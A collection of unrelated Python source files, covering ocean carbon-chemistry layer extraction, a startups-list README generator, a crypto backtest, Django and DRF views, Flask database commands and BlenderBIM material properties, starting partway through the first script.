zfull = pfun.get_zfull(in_ds, in_fn, 'rho')
in_mask_rho = in_ds.mask_rho.values # 1 = water, 0 = land

def get_layer(vn, depth, in_ds, zfull, in_mask_rho):
    if depth == 'surface':
        L = in_ds[vn][0,-1,:,:].values
    elif depth == 'bottom':
        L = in_ds[vn][0,0,:,:].values
    else:
        L = pfun.get_laym(in_ds, zfull, in_mask_rho, vn, -float(depth))
    return L

def get_Ld(depth, in_ds, in_mask_rho):
    # makes a field of layer depth (m)
    if depth == 'surface':
        Ld = 0 * np.ones(in_mask_rho.shape)
    elif depth == 'bottom':
        Ld = in_ds.h.values
    else:
        Ld = float(depth) * np.ones(in_mask_rho.shape)
    Ld[in_mask_rho == 0] = np.nan
    return Ld

# Fill the layers
for depth in depth_list:
    if testing:
        print(' - Depth = ' + depth)
    suffix = '_' + depth
    v_dict = dict()
    tt0 = time()
    for vn in vn_in_list:
        v_dict[vn] = get_layer(vn, depth, in_ds, zfull, in_mask_rho)
    if testing:
        print('   -- fill v_dict took %0.2f sec' % (time()-tt0))

    if do_carbon:
        # ------------- the CO2SYS steps -------------------------
        tt0 = time()
        # ===============================================================
        # OLD
        # Ld = get_Ld(depth, in_ds, in_mask_rho)
        # lat = in_ds.lat_rho.values
        # # create pressure
        # Lpres = sw.pres(Ld, lat)
        # # get in situ temperature from potential temperature
        # Ltemp = sw.ptmp(v_dict['salt'], v_dict['temp'], 0, Lpres)
        # # convert from umol/L to umol/kg using in situ dentity
        # Lalkalinity = 1000 * v_dict['alkalinity'] / (v_dict['rho'] + 1000)
        # Lalkalinity[Lalkalinity < 100] = np.nan
        # LTIC = 1000 * v_dict['TIC'] / (v_dict['rho'] + 1000)
        # LTIC[LTIC < 100] = np.nan
        # CO2dict = CO2SYS(Lalkalinity, LTIC, 1, 2, v_dict['salt'], Ltemp, Ltemp,
        #     Lpres, Lpres, 50, 2, 1, 10, 1, NH3=0.0, H2S=0.0)
        # ===============================================================
        # NEW: using gsw to create in-situ density
        import gsw
        lon = in_ds.lon_rho.values
        lat = in_ds.lat_rho.values
        Ld = get_Ld(depth, in_ds, in_mask_rho)
        Lpres = gsw.p_from_z(-Ld, lat) # pressure [dbar]
        SA = gsw.SA_from_SP(v_dict['salt'], Lpres, lon, lat)
        CT = gsw.CT_from_pt(SA, v_dict['temp'])
        rho = gsw.rho(SA, CT, Lpres) # in situ density
        Ltemp = gsw.t_from_CT(SA, CT, Lpres) # in situ temperature
        # convert from umol/L to umol/kg using in situ dentity
        Lalkalinity = 1000 * v_dict['alkalinity'] / rho
        Lalkalinity[Lalkalinity < 100] = np.nan
        LTIC = 1000 * v_dict['TIC'] / rho
        LTIC[LTIC < 100] = np.nan
        CO2dict = CO2SYS(Lalkalinity, LTIC, 1, 2, v_dict['salt'], Ltemp, Ltemp,
            Lpres, Lpres, 50, 2, 1, 10, 1, NH3=0.0, H2S=0.0)
        # ===============================================================
        # NOTE that the "in" and "out" versions of the returned variables will be
        # identical because we pass the same pressure and temperature for
        # input and output (in-situ in both cases)
        PH = CO2dict['pHout']
        v_dict['PH'] = PH.reshape((v_dict['salt'].shape))
        ARAG = CO2dict['OmegaARout']
        v_dict['ARAG'] = ARAG.reshape((v_dict['salt'].shape))
        if testing:
            print('   -- carbon took %0.2f sec' % (time()-tt0))
        # --------------------------------------------------------

    # Write data to the output file.
    for vn in vn_out_list:
        out_ds[vn + suffix] = (('ocean_time', 'eta_rho', 'xi_rho'), v_dict[vn].reshape((1,) + in_mask_rho.shape))
        if vn == 'PH':
            out_ds[vn + suffix].attrs['long_name'] = 'pH' + tag_dict[depth]
        elif vn == 'ARAG':
            out_ds[vn + suffix].attrs['long_name'] = 'Aragonite Saturation State' + tag_dict[depth]
        else:
            out_ds[vn + suffix].attrs['long_name'] = in_ds[vn].attrs['long_name'] + tag_dict[depth]
        try:
            out_ds[vn + suffix].attrs['units'] = in_ds[vn].attrs['units']
        except KeyError:
            pass
    sys.stdout.flush()

in_ds.close()

enc_dict = {'zlib':True, 'complevel':1, '_FillValue':1e20}
Enc_dict = {vn:enc_dict for vn in out_ds.data_vars if 'ocean_time' in out_ds[vn].dims}
out_ds.to_netcdf(out_fn, unlimited_dims='ocean_time', encoding=Enc_dict)
# NOTE: we use unlimited_dims so that ncrcat knows what to do later
out_ds.close()


from urllib import request
from urllib import parse
from http import cookiejar

import requests
from pprint import pprint

class Myrequest(object):
        """My request
        Provides login tool
        Basic Usage::
                >>> import weibo
                >>> ...

        """
        __attrs__ = ['arg', 'arg02']

        def __init__(self, arg=None):
                super(Myrequest, self).__init__()
                self.arg = arg
                self.arg02 = {}
                self.verify = True

        def __enter__(self):
                return self

        def __exit(self, *args):
                self.close()

        def myget(self):
                """Constructs a :class:`PreparedRequest <PreparedRequest>` for
        transmission and returns it. The :class:`PreparedRequest` has settings
        merged from the :class:`Request <Request>` instance and those of the
        :class:`Session`.

        :param request: :class:`Request` instance to prepare with this
            session's settings.
        """
                cookie = cookiejar.LWPCookieJar()
                cookie_support = request.HTTPCookieProcessor(cookie)
                opener = request.build_opener(cookie_support, request.HTTPHandler)
                request.install_opener(opener)
                url = 'http://www.baidu.com/'
                data = request.urlopen(url).read()
                print(data)

class Myrequests:
    def __init__(self):
        super(Myrequests, self).__init__()
    def myget(self):
        r = requests.get('https://github.com/timeline.json')
        pprint(r.text)
        print(r.status_code)
        print(r.headers['content-type'])

# Myrequest(1).myget()
# Myrequests().myget()


import json
import os
import sys

import click
import fastjsonschema
from snakemd import Document
from snakemd.generator import InlineText

ALLOWED_TYPE = [
    'B2B',
    'B2C',
    'C2C',
    'D2C',
    'Other',
]

ALLOWED_MARKET = [
    'Health',
    'Food',
    'Automotive',
    'Fintech',
    'Energy',
    'AI',
    'Biotech',
    'Ecommerce',
    'Software',
    'Hardware',
    'Service',
    'Insurance',
    'Other',
    # TODO: in progress (crete issues if missing your market)
]

JSONSCHEME_COMPILE = fastjsonschema.compile(
    definition={
        '$schema': 'https://json-schema.org/draft/2019-09/schema',
        'type': 'object',
        'properties': {
            'name': {'type': 'string'},
            'repository_organization_url': {'type': 'string', 'format': 'uri'},
            'site_url': {'type': 'string', 'format': 'uri'},
            'description': {'type': 'string', 'minLength': 5, 'maxLength': 254},
            'type': {'type': 'string', 'enum': ALLOWED_TYPE},
            'market': {'type': 'string', 'enum': ALLOWED_MARKET},
            'foundation_year': {
                'type': 'string',
                'pattern': '^[2][0-0][1-2][0-9]$'
            },
            'tags': {
                'type': 'array',
                'minItems': 1,
                'maxItems': 20,
                'uniqueItems': True,
                'items': {
                    'type': 'string',
                    'maxLength': 24
                }
            }
        },
        'required': [
            'name',
            'site_url',
            'type',
            'market',
            'tags',
        ],
        'additionalProperties': False
    }
)

def abspath(*args, os_path=True, separator='/'):
    path = separator.join(args)
    if os_path is True:
        from pathlib import Path

        return str(Path(path))
    return path

def json_validate(filename: str):
    if not os.path.exists(filename):
        raise FileNotFoundError(filename=filename)

    with open(filename) as fh:
        content = json.load(fh)

    return JSONSCHEME_COMPILE(content)

def check(loaded: list):
    values = []
    for name, filename in loaded:
        print(f'Check: {name}')
        values.append(json_validate(filename))

    return values

def build(data):
    def _header(doc, data):
        doc.add_header('Italia Opensource')
        doc.add_paragraph(f"""

        """)

        doc.add_paragraph(
            'Awesome Italia Startups is a list of italian startups.')
        doc.add_paragraph(
            'The repository intends to give visibility to startups and stimulate the community to contribute to growing the ecosystem.')
        doc.add_paragraph(
            'Please read the contribution guidelines before opening a pull request or contributing to this repository') \
            .insert_link('contribution guidelines', 'https://github.com/italia-opensource/awesome-italia-startups/blob/main/CONTRIBUTING.md')

        doc.add_header('Mantained by', level=3)
        doc.add_paragraph("""- **[Fabrizio Cafolla](https://github.com/FabrizioCafolla)**
        """)

    def _projects(doc, data):
        doc.add_header('Startups', level=3)

        doc.add_header('Website view', level=4)
        doc.add_paragraph(
            'italia-opensource.github.io').insert_link('italia-opensource.github.io', 'https://italia-opensource.github.io/awesome-italia-startups/')

        doc.add_header('List', level=4)
        table_content_project = []
        startups_name = []

        for item in data:
            name = item.get('name')
            if name in startups_name:
                raise Exception(f'Startup {name} already exist')

            description = item.get('description', '')
            if len(description) > 59:
                description = description[0:60] + ' [..]'

            table_content_project.append([
                InlineText(name, url=item.get('site_url')),
                item.get('type'),
                item.get('market'),
                ', '.join(item['tags']),
                description
            ])

            startups_name.append(name)

        doc.add_table(
            ['Name', 'Type', 'Market', 'Tags', 'Description'],
            table_content_project
        )

    def _contributors(doc):
        doc.add_header('Contributors', level=3)
        doc.add_paragraph("""

        """)

        doc.add_header('License', level=3)
        doc.add_paragraph(
            'The project is made available under the GPL-3.0 license. See the `LICENSE` file for more information.')

    doc = Document('README')

    _header(doc, data)
    _projects(doc, data)
    _contributors(doc)

    doc.output_page()

@click.command()
@click.option('--render', default=False, help='Make data render', is_flag=True)
@click.option('--output', default=False, help='Make data output', is_flag=True)
def main(render, output):
    data = os.listdir(abspath(os.path.dirname(
        os.path.abspath(__file__)), 'data'))

    loaded = []
    for project in data:
        if not project.endswith('.json'):
            raise Exception(f'File {project} is not json')
        item = (project.replace('.json', ''), abspath(
            os.path.dirname(os.path.abspath(__file__)), 'data', project))
        loaded.append(item)

    loaded = sorted(loaded, key=lambda tup: tup[0])
    parsed = check(loaded)

    if render:
        build(parsed)

    if output:
        with open('website/src/data/outputs.json', 'w+') as file_output:
            file_output.write(json.dumps({'data': parsed}))

if __name__ == '__main__':
    sys.exit(main())


T = int(input())
for case in range(1, T+1):
    N = int(input())
    x = list(map(int, input().split()))

    i = result = 0
    while i < N:
        i_max = i
        for j in range(i+1, N):
            if x[i_max] < x[j]:
                i_max = j

        for k in range(i, i_max):
            result += x[i_max]-x[k]
        i = i_max + 1

    print(f'#{case} {result}')

# T = int(input())
# for case in range(1, T + 1):
#     N = int(input())
#     x = list(map(int, input().split()))[::-1]
#
#     result = mx = 0
#     for n in x: # x의 요소에 대해
#         if mx > n: # mx보다 크면
#             result += mx-n #result에 최대와 n의 차만큼 저장
#         else:
#             mx = n
#
#     print(f'#{case} {result}')

백만 장자 프로젝트.py


from django.urls import path

from devops.views import (
    ProjectCreateView, ProjectListView, ProjectDetailView, ProjectMonitoringView,
    ProjectConfigView, get_deployments_download_link)

urlpatterns = [
    path("projects/create/", ProjectCreateView.as_view()),
    path("projects/<int:pk>/start-monitoring/", ProjectMonitoringView.as_view()),
    path("projects/", ProjectListView.as_view()),
    path("projects/<int:pk>/", ProjectDetailView.as_view()),
    path("projects/<int:project_id>/download", get_deployments_download_link),
    path("projects/<int:pk>/config/<str:config_key>/", ProjectConfigView.as_view()),
]


# -*- coding: utf-8 -*-
"""
Created on Sun Mar 22 03:15:17 2020

@author: Taras
"""

#import numpy as np
import pandas as pd

import os

#from alert_new import get_symbols_BTC, is_hammer, is_doji, candle_pattern, candle_params
#from evaluate import plot_it
import indicators
from binance_endpoints import get_symbols_BTC

symbols = get_symbols_BTC()

#prefix = '_5MinuteBars.csv'
#path = 'Crypto_1MinuteBars/Jan2019-April2020/'
path = 'Crypto_1MinuteBars/'
prefix = '_1MinuteBars.csv'

MIN_PRICE = 0.00000200 # 200 Satoshi
MAX_PRICE = 0.009

# Define start date.
start_date = pd.Timestamp('2020-05-21')
#start_date = pd.Timestamp('2019-11-20')
end_date = pd.Timestamp('2021-12-31')

start_date = start_date - pd.Timedelta('1 day')
#end_date

STOP_LOSS = 0.05
N_RED = 1

MINS_BEFORE = 15
QUOTE_AV_MIN = 3

#symbols=['DATABTC']
#symbols=['DGDBTC']

for symbol in symbols:

    print("Working on %s" % symbol)
    fname = path+'/'+symbol + prefix

    #m_15 = 3
    #h_1 = m_15*4
    #d_1 = h_1*24
    try:
        df_ohlc = pd.read_csv(fname, index_col=0, parse_dates=True)
    except FileNotFoundError:
        print("File not found: ", fname)
        continue

    # Put start date 1 day earlier to make  technical indicators work from the beginning of the analysis.
    #start_date = start_date - pd.Timedelta('1 day')

    df_ohlc = df_ohlc[(df_ohlc.index >= start_date) & (df_ohlc.index <= end_date) ]

    if len(df_ohlc) == 0: continue

#    df_open_5m = df_ohlc['open'].resample('5min').first()
#    df_high_5m = df_ohlc['high'].resample('5min').max()
#    df_low_5m = df_ohlc['low'].resample('5min').min()
#    df_close_5m = df_ohlc['close'].resample('5min').last()
#    df_quote_av_5m = df_ohlc['quote_av'].resample('5min').sum()
#    df_volume_5m = df_ohlc['volume'].resample('5min').sum()
#    df_trades_5m = df_ohlc['trades'].resample('5min').sum()
#
#    df_ohlc_5m = pd.concat([df_open_5m,df_high_5m, df_low_5m, df_close_5m, df_quote_av_5m, df_volume_5m, df_trades_5m ], axis=1, keys=['open', 'high', 'low', 'close', 'quote_av', 'volume', 'trades'])
#
#    df_ohlc = df_ohlc_5m

    #df_ohlc = df_tmp[['open', 'high', 'low', 'close', 'quote_av', 'volume']] #

    count = 0
    i = MINS_BEFORE

    #for i in range(MINS_BEFORE, len(df_ohlc['open'])) :
    while i < len(df_ohlc['open']) :
        vol_prev_1hr = df_ohlc['volume'].iloc[i-MINS_BEFORE : i].sum()
        vol_24h = df_ohlc['quote_av'].iloc[i-1440 : i].sum()
        #candle_color = indicators.candle_params(df_ohlc['open'].iloc[i], df_ohlc['high'].iloc[i],df_ohlc['low'].iloc[i],df_ohlc['close'].iloc[i])[-1]
        last_candle = indicators.Candle(df_ohlc['open'].iloc[i], df_ohlc['high'].iloc[i],df_ohlc['low'].iloc[i],df_ohlc['close'].iloc[i])
        vol_curr = df_ohlc['volume'].iloc[i]
        q_vol = df_ohlc['quote_av'].iloc[i]
        price_change = 100*(df_ohlc['close'].iloc[i] - df_ohlc['close'].iloc[i-1])/df_ohlc['close'].iloc[i-1]
        trades = df_ohlc['trades'].iloc[i]
        taker_buy = df_ohlc['tb_quote_av'].iloc[i]

        # Conditions:
        vol_cond = (vol_curr > vol_prev_1hr)
        quote_col_cond = (q_vol > QUOTE_AV_MIN)
        green_candle = (last_candle.green)
        price_cond = (price_change > 2)
        min_price_cond = (df_ohlc['close'].iloc[i] > MIN_PRICE)
        shadow_to_body = last_candle.high_shadow/last_candle.body
        # Experimental feature. For now not to use it, but record the value of shadow_to_body
        shadow_cond = shadow_to_body < 0.334

        if vol_cond  and quote_col_cond and price_cond and green_candle and min_price_cond : # and shadow_cond:
            try :
                tmp = df_ohlc['open'].iloc[i+1]
            except IndexError:
                continue

            buy_price = df_ohlc['open'].iloc[i+1]
            min_price = df_ohlc['low'].iloc[i+1]
            buy_time = df_ohlc.index[i+1]
            j = i+1
            red_count = 0
#            while candle_color == 'green':
            while red_count < N_RED:
                #candle_color = candle_params(df_ohlc['open'].iloc[j], df_ohlc['high'].iloc[j],df_ohlc['low'].iloc[j],df_ohlc['close'].iloc[j])[-1]
                last_candle = indicators.Candle(df_ohlc['open'].iloc[j], df_ohlc['high'].iloc[j],df_ohlc['low'].iloc[j],df_ohlc['close'].iloc[j])
                if last_candle.red:
                    sell_price = df_ohlc['close'].iloc[j]
                    red_count += 1
                    profit = 100*(sell_price - buy_price)/buy_price
                    if profit < 0 :
                        sell_time = df_ohlc.index[j]
                        break
                sell_time = df_ohlc.index[j]
                j += 1

            profit = 100*(sell_price - buy_price)/buy_price
            elapsed = (sell_time - buy_time)/pd.Timedelta('1min')
            went_down = 100*(min_price - buy_price)/buy_price

            #if np.abs(profit) > 1:
            print(buy_time, symbol, buy_price, profit, elapsed, went_down, vol_prev_1hr, vol_curr, q_vol, price_change)
            print("24h vol: ", vol_24h, "N trades: ", trades)

            count += 1
            #plot_it(df_ohlc, buy_time, sell_time, buy_price, sell_price, interval='1min', savefile="%s_%d" % (symbol, count) )

            filename = "backtest_volume_1min_shadow_from20May.dat"

            #empty = os.path.getsize(filename) == 0
            with open(filename, 'a') as f:
                empty = os.path.getsize(filename) == 0
                if empty:
                    f.write("buy_time, symbol, buy_price, profit, elapsed, went_down, vol_prev_1hr, vol_curr, q_vol, tb_quote_av, price_change,trades,vol_24h,last_shadow\n")
                f.write(f"{buy_time},{symbol},{buy_price:.8f},{profit:.2f},{elapsed:.1f},{went_down:.2f},{vol_prev_1hr:.1f},{vol_curr:.1f},{q_vol:.1f},{taker_buy:.2f},{price_change:.1f},{trades},{vol_24h:.1f},{shadow_to_body:.3f}\n")

            # After making a trade continue from the time we have sold the coin:
            i = j
        # Increase i to advance the while loop:
        i += 1
#
                #f.write("%s,%s,%.8f,%.2f,%.2f,%.2f,%.1f,%.1f,%.1f,%.2f,%d,%.2f\n" % (buy_time, symbol, buy_price, profit, elapsed, went_down, vol_prev_1hr, vol_curr, q_vol, price_change,trades,vol_24h) )
#


from datetime import datetime

from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated

from core.utils.api_exceptions import APIError
from .permissions import IsAdminStaff

from .models import TeamMember
from teams.models import TeamStatic

class TeamHappinessStatics(APIView):
    http_method_names = ['get', 'head', 'options']
    serializer_class = None
    permission_classes = [IsAuthenticated, IsAdminStaff]

    def get(self, request):
        if request.user is None:
            statics_of_team_objects = TeamStatic.objects.all()

            return statics_of_team_objects.average_happiness

        elif request.user.is_authenticated or request.user.is_superuser or request.user.is_staff:
            user = TeamMember.objects.filter(team_member=request.user).first()

            if user:
                user_team = user.team
                static_of_user_team = TeamStatic.objects.filter(team=user_team,
                                                                date_reported=datetime.today().strftime(
                                                                    '%Y-%m-%d')).first()

                if static_of_user_team:

                    data = {
                        'number of team members at each happiness level': static_of_user_team.happiness_num_users,
                        'team_average_happiness': static_of_user_team.average_happiness,
                    }
                    return Response(data)
                else:
                    raise APIError(error='Team Static not Found')

            else:
                raise APIError(error='User not Found')


from MEDashboard import app, db
from MEDashboard.models import User
from flask_script import Manager, prompt_bool

manager = Manager(app)

@manager.command
def initdb():
    db.create_all()
    print('Initialized the database')

@manager.command
def dropdb():
    if prompt_bool("Are you sure you want to drop you data" ):
        db.drop_all()
        print('Dropped the database')

if __name__ == '__main__':
    manager.run()


import bpy
from ifcopenshell.util.doc import get_entity_doc
import blenderbim.tool as tool
from blenderbim.bim.module.material.data import MaterialsData, ObjectMaterialData
from blenderbim.bim.ifc import IfcStore
from blenderbim.bim.prop import StrProperty, Attribute
from bpy.types import PropertyGroup
from bpy.props import (
    PointerProperty,
    StringProperty,
    EnumProperty,
    BoolProperty,
    IntProperty,
    FloatProperty,
    FloatVectorProperty,
    CollectionProperty,
)

materialtypes_enum = []
profileclasses_enum = []
parameterizedprofileclasses_enum = []

def purge():
    global materialtypes_enum
    global profileclasses_enum
    global parameterizedprofileclasses_enum
    materialtypes_enum = []
    profileclasses_enum = []
    parameterizedprofileclasses_enum = []

def get_profile_classes(self, context):
    global profileclasses_enum
    if len(profileclasses_enum) == 0 and IfcStore.get_schema():
        version = tool.Ifc.get_schema()
        profileclasses_enum.clear()
        profileclasses_enum = [
            (t.name(), t.name(), get_entity_doc(version, t.name()).get("description", ""))
            for t in IfcStore.get_schema().declaration_by_name("IfcProfileDef").subtypes()
        ]
    return profileclasses_enum

def get_parameterized_profile_classes(self, context):
    global parameterizedprofileclasses_enum
    if len(parameterizedprofileclasses_enum) == 0 and IfcStore.get_schema():
        version = tool.Ifc.get_schema()
        parameterizedprofileclasses_enum.clear()
        parameterizedprofileclasses_enum = [
            (t.name(), t.name(), get_entity_doc(version, t.name()).get("description", ""))
            for t in IfcStore.get_schema().declaration_by_name("IfcParameterizedProfileDef").subtypes()
        ]
        for ifc_class in parameterizedprofileclasses_enum:
            parameterizedprofileclasses_enum.extend(
                [
                    (t.name(), t.name(), get_entity_doc(version, t.name()).get("description", ""))
                    for t in IfcStore.get_schema().declaration_by_name(ifc_class[0]).subtypes() or []
                ]
            )
    return parameterizedprofileclasses_enum

def get_materials(self, context):
    if not ObjectMaterialData.is_loaded:
        ObjectMaterialData.load()
    return ObjectMaterialData.data["materials"]

def get_object_material_type(self, context):
    if not ObjectMaterialData.is_loaded:
        ObjectMaterialData.load()
    return ObjectMaterialData.data["material_type"]

def get_material_types(self, context):
    if not MaterialsData.is_loaded:
        MaterialsData.load()
    return MaterialsData.data["material_types"]

def get_profiles(self, context):
    if not MaterialsData.is_loaded:
        MaterialsData.load()
    return MaterialsData.data["profiles"]

def get_styles(self, context):
    if not MaterialsData.is_loaded:
        MaterialsData.load()
    return MaterialsData.data["styles"]

def get_contexts(self, context):
    if not MaterialsData.is_loaded:
        MaterialsData.load()
    return MaterialsData.data["contexts"]

class Material(PropertyGroup):
    name: StringProperty(name="Name")
    ifc_definition_id: IntProperty(name="IFC Definition ID")
    is_category: BoolProperty(name="Is Category", default=False)
    is_expanded: BoolProperty(name="Is Expanded", default=True)
    has_style: BoolProperty(name="Has Style", default=True)
    total_elements: IntProperty(name="Total Elements")

class BIMMaterialProperties(PropertyGroup):
    is_editing: BoolProperty(name="Is Editing", default=False)
    material_type: EnumProperty(items=get_material_types, name="Material Type")
    materials: CollectionProperty(name="Materials", type=Material)
    active_material_index: IntProperty(name="Active Material Index")
    profiles: EnumProperty(items=get_profiles, name="Profiles")
    active_material_id: IntProperty(name="Active Material ID")
    material_attributes: CollectionProperty(name="Material Attributes", type=Attribute)
    editing_material_type: StringProperty(name="Editing Material Type")
    styles: EnumProperty(items=get_styles, name="Styles")
    contexts: EnumProperty(items=get_contexts, name="Contexts")

class BIMObjectMaterialProperties(PropertyGroup):
    material_type: EnumProperty(items=get_object_material_type, name="Material Type")
    material: EnumProperty(items=get_materials, name="Material")
    is_editing: BoolProperty(name="Is Editing", default=False)
    material_set_usage_attributes: CollectionProperty(name="Material Set Usage Attributes", type=Attribute)
    material_set_attributes: CollectionProperty(name="Material Set Attributes", type=Attribute)
    active_material_set_item_id: IntProperty(name="Active Material Set ID")
    material_set_item_attributes: CollectionProperty(name="Material Set Item Attributes", type=Attribute)
    material_set_item_profile_attributes: CollectionProperty(
        name="Material Set Item Profile Attributes", type=Attribute
    )
    material_set_item_material: EnumProperty(items=get_materials, name="Material")
    profile_classes: EnumProperty(items=get_profile_classes, name="Profile Classes")
    parameterized_profile_classes: EnumProperty(
        items=get_parameterized_profile_classes, name="Parameterized Profile Classes"
    )